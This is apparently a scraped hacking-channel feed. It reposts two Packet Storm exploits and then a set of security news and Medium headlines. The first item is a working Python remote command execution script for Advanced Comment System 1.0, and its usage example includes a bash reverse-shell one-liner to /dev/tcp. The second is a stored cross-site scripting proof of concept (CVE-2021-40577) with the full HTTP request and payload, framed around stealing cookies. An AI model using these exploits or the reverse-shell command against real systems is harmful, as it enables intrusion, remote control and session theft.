Exploit Collector
Advanced Comment System 1.0 Remote Command Execution

https://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png
Advanced Comment System version 1.0 suffers from a remote command execution vulnerability.

MD5 | 842196b79ae25188b19919d1c8170b75

Download
# Exploit Title: Advanced Comment System 1.0 - Remote Command Execution (RCE)
# Date: November 30, 2021
# Exploit Author: Nicole Daniella Murillo Mejias
# Version: Advanced Comment System 1.0
# Tested on: Linux

#!/usr/bin/env python3

# DESCRIPTION:
# Commands are Base64 encoded and sent via POST requests to the vulnerable application, the
# response is filtered by the randomly generated alphanumeric string and only command output
# is displayed.
#
# USAGE:
# Execute the script and pass the command to execute as arguments, they can be quoted or unquoted
# If any special characters are used, they should be quoted with single quotes.
#
# Example:
#
# python3 acspoc.py uname -a
# python3 acspoc.py 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

import sys
import base64
import requests
import random

def generate_string(size):
str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return ''.join(random.choice(str) for i in range(size))

def exploit(cmd):

# TODO: Change the URL to the target host
url = 'http://127.0.0.1/advanced_comment_system/index.php'

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

encoded_cmd = base64.b64encode(cmd)

delimiter = generate_string(6).encode()

body = b'ACS_path=php://input%00&cbcmd='
body += encoded_cmd
body += b'&'

try:
result = requests.post(url=url, headers=headers, data=body)
except KeyboardInterrupt:
print("Keyboard interrupt detected.")
sys.exit()

if f'{delimiter.decode()}: ' in result.text:
position = result.text.find(f"{delimiter.decode()}:") + len(f"{delimiter.decode()}: ")

if len(result.text[position:]) > 0:
print(result.text[position:])
else:
print(f"No output from command '{cmd.decode()}'")
print(f"Response size from target host: {len(result.text)} bytes")

if __name__ == "__main__":
exploit(' '.join(sys.argv[1:]).encode())


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Enrollment Management System In PHP And PayPal 1.0 Cross Site Scripting

https://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png
Online Enrollment Management System in PHP and PayPal version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | ff524c4791aa81b60bb626960fd08822

Download
# Exploit Title: Online Enrollment Management System in PHP and PayPal 1.0 - 'U_NAME' Stored Cross-Site Scripting
# Date: 2021-08-31
# Exploit Author: Tushar Jadhav
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
# Version: 1.0
# Tested on: Windows 11
# Contact: https://www.linkedin.com/in/tushar-jadhav-7a43b4171/
# CVE: CVE-2021-40577

=============================================================================================================================

Stored Cross-site scripting(XSS):

Stored attacks are those where the injected script is permanently stored on
the target servers,
such as in a database, in a message forum, visitor log, comment field, etc.
The victim then retrieves the malicious script from the server when it
requests the stored information.
Stored XSS is also sometimes referred to as Persistent XSS.

==============================================================================================================================

Attack vector:

This vulnerability can result in the attacker can injecting the XSS payload
in the User Registration section. Each time the admin login or basic user
Login in the admin panel, the XSS triggers and attacker can able to steal
the cookie according to the crafted payload.

===============================================================================================================================

Vulnerable Parameters: Name

===============================================================================================================================

Steps for reproducing:

1. Go to add users section
2. fill in the details. & put
payload in Name parameter.
3. Once we click on save, We can see the XSS has been triggered.

================================================================================================================================

Request :

POST /onlineenrolmentsystem/admin/user/controller.php?action=add HTTP/1.1
Host: 192.168.1.205:81
Content-Length: 133
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.205:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.1.205:81/onlineenrolmentsystem/admin/user/index.php?view=add
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=uonlna5pmhqh9shnj8t6oqc2g3
Connection: close

deptid=&U_NAME=%3Cscript%3Ealert%28window.origin%29%3C%2Fscript%3E&deptid=&U_USERNAME=test&deptid=&U_PASS=root&U_ROLE=Registrar&save=

===================================================================================================================================


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Announcing Marinade Bug Bounty
https://medium.com/marinade-finance/announcing-marinade-bug-bounty-d8b7589362cc?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

As you may know, Marinade has already undergone 3 audits and has always made security a top priority.Continue reading on Marinade.finance » (https://medium.com/marinade-finance/announcing-marinade-bug-bounty-d8b7589362cc?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How to Exploit Firebase Realtime Database using REST API
https://masturf.medium.com/how-to-exploit-firebase-realtime-database-using-rest-api-34885160fa55?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

What is Firebase - Realtime Database?Continue reading on Medium » (https://masturf.medium.com/how-to-exploit-firebase-realtime-database-using-rest-api-34885160fa55?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
The Cyber Threats Facing Retailers This Holiday Shopping Season

With supply chain delays and an online shopping boom, attacks will come from multiple angles.

Dark Reading: Attacks/Breaches
CyCognito Secures $100M to Accelerate Next Evolution of Attack Surface Management

Company gives Fortune 500 companies including Colgate-Palmolive, Tesco and Scientific Games Corporation full visibility and context into risk to preempt potential attacks.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How Will Cyber Threats Impact the Beijing Winter Olympics?

NTT helped the International Olympic Committee dodge a security bullet in Tokyo. The world will watch to see if it can pull off a similar feat in Beijing for the upcoming Winter Games.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux VM in the Cloud
https://www.reddit.com/r/Pentesting/comments/r6k8f9/kali_linux_vm_in_the_cloud/

Hey there, I’m looking for your suggestions on the best way to get a Kali Linux VM up and running, preferably in the cloud. I currently have an AWS EC2 instance on T3.xlarge, using xrdp to RDP in, but it just seems a little slow and choppy. I assumed it was just the instance at first, so I upgraded to the T3 xlarge, which is 4vCPUs and 16GB RAM, and it’s still choppy and just not as reactive as I want it to be. And I’ve pinged my instance, with the response being -20-40ms, so it isn’t a latency issue. What do you guys recommend for getting a VM up and running to where the performance isn’t just so slow and choppy? I would run it locally on my own machine, but I want to access the same VM from both my desktop and laptop, and storage on my laptop is also currently an issue— so no space to even host the VM. submitted by /u/Landonnnn_ (https://www.reddit.com/user/Landonnnn_)
[link] (https://www.reddit.com/r/Pentesting/comments/r6k8f9/kali_linux_vm_in_the_cloud/) [comments] (https://www.reddit.com/r/Pentesting/comments/r6k8f9/kali_linux_vm_in_the_cloud/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Bypass File Upload Restrictions

https://cdn-images-1.medium.com/max/2600/1*5qJLOZFazUQ2SqN82988JA.png
How to Get a Shell on a Website using a File [Tutorial]

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Protect yourself on Internet

https://cdn-images-1.medium.com/max/2600/1*E1BhHySLxKtThD067wyq2g.jpeg
Disclaimer! The following technologies are presented only for inform the public on some of the state-of-the-art Cyber Security…

Continue reading on Geek Culture »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Android4: Walkthrough

https://cdn-images-1.medium.com/max/972/0*n6kp8qOvRwyveuYD.png
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video